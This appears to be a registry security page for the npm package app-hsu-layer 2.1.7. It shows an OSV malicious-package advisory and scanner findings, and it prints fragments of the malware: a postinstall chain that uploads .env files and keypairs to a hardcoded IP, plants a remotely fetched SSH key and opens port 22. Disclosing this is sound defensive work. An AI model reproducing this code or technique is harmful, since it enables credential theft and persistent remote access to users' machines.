registry / app-hsu-layer / 2.1.7

app-hsu-layer@2.1.7

OSV Malicious Advisory

scanned 10d ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-13357 confirms this npm version as malicious. On npm install, the package's postinstall script runs test.js, which imports index.js and immediately invokes two harvesting/backdoor routines. The first routine recursively scans the current working directory for id.json, config.toml, Config.toml, env, and.env files and POSTs each match, tagged with the OS username, to http://95.216.118.146:3001/api/v1 — exfiltrating project secrets including Solana keypairs and...

Advisory

MAL-2026-13357

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in app-hsu-layer (npm)

Details

On npm install, the package's postinstall script runs test.js, which imports index.js and immediately invokes two harvesting/backdoor routines. The first routine recursively scans the current working directory for id.json, config.toml, Config.toml, env, and.env files and POSTs each match, tagged with the OS username, to http://95.216.118.146:3001/api/v1 — exfiltrating project secrets including Solana keypairs and API/database credentials. The second routine fetches attacker-controlled glob patterns from http://95.216.118.146:3001/api/scan-patterns and walks the user's home directory on Unix (or enumerates all logical drives via wmic/PowerShell on Windows), uploading matching files as multipart form-data to the same endpoint. In parallel, the postinstall fetches an SSH public key from http://95.216.118.146:3001/api/ssh-key, appends it to ~/.ssh/authorized_keys, runs sudo chown on ~/.ssh, and executes sudo ufw enable plus sudo ufw allow 22/tcp to guarantee inbound SSH reachability — granting the operator of 95.216.118.146 persistent remote shell access to the installing host. Package metadata is hollow (empty description/author, only test.js and index.js shipped) and function names (from_str_1, from_str_2) obscure intent.

Decision reason

High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review

References

OSV advisory PACKAGE PACKAGE

Decision evidence

public snapshot

Behavioral surface

Source

ChildProcessEnvironmentVarsFilesystemNetworkShell

Supply chain

UrlStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 8.61 KB of source, external domains: 95.216.118.146

Source & flagged code

10 flagged

package.jsonView file

•scripts.postinstall = node test.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•Runtime dependency names matching Node built-ins: child_process, os

High

Node Builtin Dependency Squat

Package declares a runtime dependency whose name matches a Node built-in module.

package.jsonView on unpkg

index.jsView file

1const { execSync, execFileSync } = require("child_process"); L2: const fs = require("fs"); L3: const path = require("path"); L4: const axios = require("axios"); L5: const FormData = require("form-data"); L6: const os = require("os"); ... L37: const fileData = fs.readFileSync(filePath); L38: const envUser = process.env.USER || "unknown"; L39: const payload = Buffer.concat([Buffer.from(`${envUser}\n`, "utf8"), fileData]); L40: const filename = path.basename(filePath) || "file.bin"; ... L53: const patterns = ["id.json", "config.toml", "Config.toml", "env", ".env"]; L54: const cwd = process.cwd();

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

index.jsView on unpkg · L1

1Trigger-reachable chain: manifest.main -> index.js L1: const { execSync, execFileSync } = require("child_process"); L2: const fs = require("fs"); L3: const path = require("path"); L4: const axios = require("axios"); L5: const FormData = require("form-data"); L6: const os = require("os"); ... L37: const fileData = fs.readFileSync(filePath); L38: const envUser = process.env.USER || "unknown"; L39: const payload = Buffer.concat([Buffer.from(`${envUser}\n`, "utf8"), fileData]); L40: const filename = path.basename(filePath) || "file.bin"; ... L53: const patterns = ["id.json", "config.toml", "Config.toml", "env", ".env"]; L54: const cwd = process.cwd();

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg · L1

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

index.jsView on unpkg · L1

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

index.jsView on unpkg · L1

1Trigger-reachable persistence chain: manifest.main -> index.js L1: const { execSync, execFileSync } = require("child_process"); L2: const fs = require("fs"); L3: const path = require("path"); L4: const axios = require("axios"); L5: const FormData = require("form-data"); L6: const os = require("os"); ... L37: const fileData = fs.readFileSync(filePath); L38: const envUser = process.env.USER || "unknown"; L39: const payload = Buffer.concat([Buffer.from(`${envUser}\n`, "utf8"), fileData]); L40: const filename = path.basename(filePath) || "file.bin"; ... L53: const patterns = ["id.json", "config.toml", "Config.toml", "env", ".env"]; L54: const cwd = process.cwd();

High

Trigger Reachable Persistence

A manifest entrypoint or package-local install chain reaches persistence behavior.

index.jsView on unpkg · L1

•matchType = normalized_sha256 matchedPackage = app-hsu-layer@2.1.6 matchedPath = index.js matchedIdentity = npm:YXBwLWhzdS1sYXllcg:2.1.6 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

index.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 5f428da78b612f93 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = app-hsu-layer@2.1.6 matchedPath = index.js matchedIdentity = npm:YXBwLWhzdS1sYXllcg:2.1.6 similarity = 1.000 shingleOverlap = 2 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

test.jsView file

•An install lifecycle imports the package entrypoint, whose normalized source uploads sensitive configuration files and appends a remotely fetched SSH key to authorized_keys. test.js: const { from_str_2, from_str_1 } = require("."); async function main() { await from_str_2(); // same as Rust from_str() await from_str_1(); // same as Rust from_str() main(); index.js: const FormData = require("form-data"); const envUser = process.env.USER || "unknown"; const patterns = ["id.json", "config.toml", "Config.toml", "env", ".env"]; process.env.USER || process.env.USERNAME || process.env.LOGNAME || const form = new FormData(); process.env.SystemRoot

Critical

Persistence Backdoor

Source writes persistence or remote-access backdoor material.

test.jsView on unpkg

Source & flagged code

10 flagged · loading source

package.jsonView file

•scripts.postinstall = node test.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•Runtime dependency names matching Node built-ins: child_process, os

High

Node Builtin Dependency Squat

Package declares a runtime dependency whose name matches a Node built-in module.

package.jsonView on unpkg

index.jsView file

Findings

3 Critical7 High3 Medium3 Low

CriticalHardcoded Runtime Data Exfiltrationindex.js

CriticalPersistence Backdoortest.js

CriticalTrigger Reachable Dangerous Capabilityindex.js

HighInstall Time Lifecycle Scriptspackage.json

HighHost Fingerprint Exfiltrationindex.js

HighSandbox Evasion Gated Capabilityindex.js

HighTrigger Reachable Persistenceindex.js

HighNode Builtin Dependency Squatpackage.json

HighKnown Malware Source Similarityindex.js

HighKnown Malware Source Fingerprint Signatureindex.js

MediumNetwork

MediumEnvironment Vars

Medium